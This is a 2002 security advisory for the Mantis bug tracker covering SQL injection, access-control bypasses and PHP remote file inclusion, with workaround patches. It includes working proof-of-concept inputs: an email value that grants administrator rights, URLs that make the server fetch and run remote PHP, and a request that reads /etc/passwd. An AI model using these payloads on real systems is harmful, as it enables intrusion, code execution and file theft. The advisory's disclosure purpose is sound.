20th Aug 2002 [SBWID-5641]
COMMAND
Mantis multiple vulns: arbitrary code execution, sql poisoning, view
private projects and reporter limitation bypass.
SYSTEMS AFFECTED
SQL poisoning
=============
Affected: Mantis 0.17.2, maybe prior
Unaffected: Mantis 0.17.3 and earlier
Limiting output to reporters can be bypassed
============================================
Affected: Mantis 0.17.3 and older
Unaffected: Mantis 0.17.4 and earlier
Bug listings of private projects can be viewed
==============================================
Affected: Mantis 0.17.3
Unaffected: Mantis 0.17.4 and earlier
Arbitrary code execution vulnerability
=======================================
Affected: Mantis 0.17.3 and older
Unaffected: Mantis 0.17.4 and earlier
Arbitrary code execution and file reading
=========================================
Affected: Mantis 0.17.3 and older
Unaffected: Mantis 0.17.4 and earlier
PROBLEM
Here is a summary of 5 Mantis Advisories (from 2002-1 to 2002-5):
Mantis is an Open Source web-based bugtracking system, written in PHP,
which uses the MySQL database server. It is being actively developed by
a small group of developers, and is considered to be in the beta stage.
[2002-01] SQL poisoning vulnerability
======================================
Older versions of Mantis do not check all user input, especially if
they do not come directly from form fields. This opens up a wide
variety of SQL poisoning vulnerabilities on systems without
magic_quotes_gpc enabled. Most of these vulnerabilities are only
exploitable in a limited manner, since it is no longer possible to
execute multiple queries using one call to mysql_query().
There is one query which can be tricked into changing an account's
access level, which means that a malicious user, with an account on the
Mantis installation, can make himself (m/f) an administrator of that
Mantis installation. This particular vulnerability has been fixed in
version 0.17.3.
Note: Other vulnerabilities, caused by the same lack of input checking,
may exist!
Detailed explanation
---------------------
By modifying the username or the email of a Mantis account, it is
possible to change any column of the Mantis user table
(mantis_user_table by default).
This can be done by inserting quotes in the username or email and
crafting the value in such a manner that a valid SQL query results.
For example:
- The email can be set to: user@server', access_level=90, email='
- The normal query is:
UPDATE mantis_user_table
SET username='$f_username', email='$f_email'
WHERE id='$f_id'
- With the specified value for the email field, this becomes:
UPDATE mantis_user_table
SET username='someusername', email='user@server', access_level=90,
email=''
WHERE id='$f_id'
- This set the access_level column to a value of 90, the internal value
for Administrator.
[2002-02] Limiting output to reporters can be bypassed
======================================================
It is possible to instruct Mantis to show reporters only the bugs that
they reported, by setting the limit_reporters option to ON. This will
automatically set the 'reporter' filter on the 'View Bugs' page.
The information on the 'View Bugs' page was also available in a form
suitable for printing, by clicking on the 'Print Reports' link on the
'View Bugs' page. However this script, print_all_bug_page.php, did not
check the limit_reporters option and thus allowed reporters to see the
summaries of bugs they did not report.
Detailed explanation
---------------------
No trickery is required to allow a reporter to see the summaries of
bugs that (s)he did not report. The reporter just has to go to 'View
Bugs', click on 'Print Reports' and make sure the 'reporter' filter is
set to anything but his/her own name.
[2002-03] Bug listings of private projects can be viewed
========================================================
In Mantis a user can select a project from a drop-down menu. After
selection, all bug listings will be limited to that project.
The 'View Bugs' page, which is responsible for displaying a list of
bugs in a project, did not check whether the user actually had access
to the project defined in the cookie. It trusted the fact that only
projects accessible to the user were listed in the drop-down menu.
This provides a malicious user with an opportunity to display the 'View
Bugs' page with a private project selected. This has been fixed in
Mantis 0.17.4.
It should be noted that this bug does not allow a user to get any more
information than is listed in the View Bugs page. The page with more
information about the bug is not accessible. Also, private bugs are
still not visible in the list.
Detailed explanation
--------------------
To take advantage of this vulnerability, the attacker would need to
know the project_id of the private project he wishes to attack. This is
not terribly difficult to accomplish, as the project_id starts at 1 and
increases by one for every project created. The attacker can just try
each integer starting at 1, until (s)he finds the one (s)he's looking
for.
The next step is to log in to Mantis at least once, so that the
MANTIS_PROJECT_COOKIE, or however the cookie is called in that
particular set-up, is set. The user can then manually change the cookie
locally, and fill in the desired project_id. Now all the user has to do
is visit /view_all_bug_page.php, and the list of public bugs in that
project should be displayed.
An alternative method is by forging the HTTP headers, to send the
desired cookie value with a request for /view_all_bug_page.php. The
results are the same.
[2002-04] Arbitrary code execution vulnerability
================================================
Mantis includes code which cooperates with JpGraph to generate some
statistical graphs. Some of this code is stored in an include file,
summary_graph_functions.php. This file takes care of loading the
JpGraph library, using an include() statement.
The path to the JpGraph library is stored in the configuration file.
However, summary_graph_functions.php does not load the configuration
file, but expects other scripts to have done that before including
summary_graph_functions.php.
A vulnerability opens up when summary_graph_functions.php is opened in
a browser. Any malicious user can execute arbitrary PHP code as the
webserver user by setting $g_jpgraph_path to a local path or an URL.
This vulnerability has been closed in Mantis 0.17.4.
Detailed explanation
--------------------
To exploit this vulnerability, an attacker only has to store the PHP
code (s)he wishes to execute in a textfile, make this available on a
webserver accessible by the Mantis installation and point the
$g_jpgraph_path variable to that location.
For example, we create a file with the following content:
<?php
system('ls');
exit;
?>
We make this file available on a webserver, for example at
http://server.mynetwork.net/listings.txt
If the Mantis installation does not have access to the internet, the
file should be stored on an internal server.
We then point our browser to
http://mantis.server.com/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fserver.mynetwork.net%2Flistings.txt%3F
This will execute the following call:
include('http://server.mynetwork.net/listings.txt?jpgraph.php');
This instructs PHP to download listings.txt and parse it as a PHP
script. In this case, the browser should print a file listing of the
current directory.
Credit
------
This vulnerability was reported by Joao Gouveia (tharbad@kaotik.org).
[2002-5] Arbitrary code execution and file reading
===================================================
Mantis allows the user to configure a file to be included at the top or
bottom, a file which contains the CSS stylesheets and a file which
contains meta tags. These files are set in default/config_inc2.php, and
can be overridden in config_inc.php.
For some obscure reason, config_inc2.php only initialised the variables
if it wasn't already set. This means that someone can set either
$g_bottom_include_page, $g_top_include_page, $g_css_include_file or
$g_meta_include_file using GET/POST parameters, or through a cookie.
Not all of these can be exploited to execute arbitrary code but all of
them can be used to read any file on the server readable to the
webserver user.
Mantis 0.17.4 removes the isset() checks from default/config_inc2.php
and checks whether any of the four variables were set by a user. The
latter checks are added to ensure that even when someone has used
default/config_inc2.php to set configuration values, this vulnerability
will still be closed.
Mantis installations which override all of the four previously
mentioned variables in their config_inc.php are not affected. Note that
an account to the Mantis installation is not required to exploit this
vulnerability, as login_page.php and core_html_API.php are vulnerable
as well.
Detailed explanation
---------------------
- Arbitrary code execution
To execute arbitrary PHP code using this vulnerability, an attacker
only has to store the PHP code (s)he wishes to execute in a textfile,
make this available on a webserver accessible by the Mantis
installation and point the $g_meta_include_file or the
$g_css_include_file variable to that location.
For example, we create a file with the following content:
<?php
system('ls');
exit;
?>
We make this file available on a webserver, for example at
http://server.mynetwork.net/listings.txt
If the Mantis installation does not have access to the internet, the
file should be stored on an internal server.
We then point our browser to
http://mantis.server.com/mantis/login_page.php?g_meta_include_file=http://server.mynetwork.net/listings.txt
Any Mantis page that displays something will do. However,
login_page.php does not require an account.
This will execute the following call:
include('http://server.mynetwork.net/listings.txt');
This instructs PHP to download listings.txt and parse it as a PHP
script. In this case, the browser should print a file listing of the
current directory.
- Displaying local files
It is also possible to view any file available to the web user. The
method is more or less the same, although in this case we do not let
the server include a file we wrote, but just a local file we specify:
http://mantis.server.com/mantis/login_page.php?g_css_include_file=/etc/passwd
This will display the specified file if the webserver user has
permission to read that file.
This vulnerability can be exploited using any of the 4 variables
$g_bottom_include_page, $g_top_include_page, $g_css_include_file or
$g_meta_include_file using GET/POST parameters, or through a cookie.
Credit
------
This vulnerability was reported by Andrew Johnson and independently by
the Debian Security Team.
SOLUTION
All issues are corrected in last version, 0.17.4. If for any reason you
can not upgrade, see below for workarounds.
[2002-01] SQL poisoning vulnerability
=====================================
Since this vulnerability was discovered, coding guidelines have been
changed to ensure that every bit of user input that is fed to SQL
queries is either validated or escaped. Unfortunately, these changes
came too late to be released with Mantis 0.17.3. They have been fixed
in CVS, and will be corrected in 0.18.0. Users who prefer security over
using a tested version are encouraged to use the CVS version. 0.18.0 is
currently being wrapped up, but the release may take a few weeks.
If an upgrade is not possible, Mantis 0.17.2 (and possibly lower) can
be patched to secure the exploitable query:
In account_update.php, insert the following lines somewhere in a PHP
block before the SQL queries are executed:
$f_username = addslashes($f_username);
$f_email = addslashes($f_email);
Enabling magic_quotes_gpc in your PHP configuration will also prevent
the problem from being exploitable.
[2002-02] Limiting output to reporters can be bypassed
======================================================
If upgrade is not an option, print_all_bug_page.php can be patched to
close this vulnerability. The following instructions apply to Mantis
0.17.3, and could apply to earlier versions:
In print_all_bug_page.php, after the block of assignments from
$t_setting_arr, insert the following lines:
# Limit reporters to only see their reported bugs
if (( ON == $g_limit_reporters ) &&
( !access_level_check_greater_or_equal( UPDATER ) )) {
$f_user_id = get_current_user_field( "id" );
}
[2002-03] Bug listings of private projects can be viewed
=========================================================
If an upgrade is not an option, view_all_bug_page.php can be patched to
add the appropriate checks.
To do so, add the following function to core_user_API.php:
# Check to see if the current user has access on the specified project
function check_access_to_project( $p_project_id ) {
$t_project_view_state = get_project_field( $p_project_id,
'view_state' );
# Administrators ALWAYS pass.
if ( get_current_user_field( 'access_level' ) >= ADMINISTRATOR ) {
return;
}
# public project accept all users
if ( PUBLIC == $t_project_view_state ) {
return;
} else {
# private projects require users to be assigned
$t_project_access_level = get_project_access_level( $p_project_id );
# -1 means not assigned, kick them out to the project selection screen
if ( -1 == $t_project_access_level ) {
print_header_redirect( 'login_select_proj_page.php' );
} else { # passed
return;
}
}
}
And in view_all_bug_page.php, replace the following lines:
$t_where_clause .= ')';
}
} else {
$t_where_clause = " WHERE project_id='$g_project_cookie_val'";
}
# end project selection
with the following lines:
$t_where_clause .= ')';
}
} else {
check_access_to_project($g_project_cookie_val);
$t_where_clause = " WHERE project_id='$g_project_cookie_val'";
}
# end project selection
[2002-04] Arbitrary code execution vulnerability
================================================
If an upgrade is not possible, the vulnerability can be closed by
inserting the following lines at the top of
summary_graph_functions.php:
if ( isset($HTTP_GET_VARS['g_jpgraph_path']) ||
isset($HTTP_POST_VARS['g_jpgraph_path']) ||
isset($HTTP_COOKIE_VARS['g_jpgraph_path']) ) {
exit;
}
[2002-5] Arbitrary code execution and file reading
===================================================
Mantis 0.17.4 removes the isset() checks, and some paranoia checks
which prevent this vulnerability. All users are recommended to upgrade
to this version as soon as possible.
If an upgrade is not possible, the vulnerability can be closed by
inserting the following lines in core_API.php:
if ( isset($HTTP_GET_VARS['g_top_include_file']) ||
isset($HTTP_POST_VARS['g_top_include_file']) ||
isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||
isset($HTTP_POST_VARS['g_bottom_include_page']) ||
isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_css_include_file']) ||
isset($HTTP_POST_VARS['g_css_include_file']) ||
isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||
isset($HTTP_POST_VARS['g_meta_include_file']) ||
isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {
exit;
}
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH
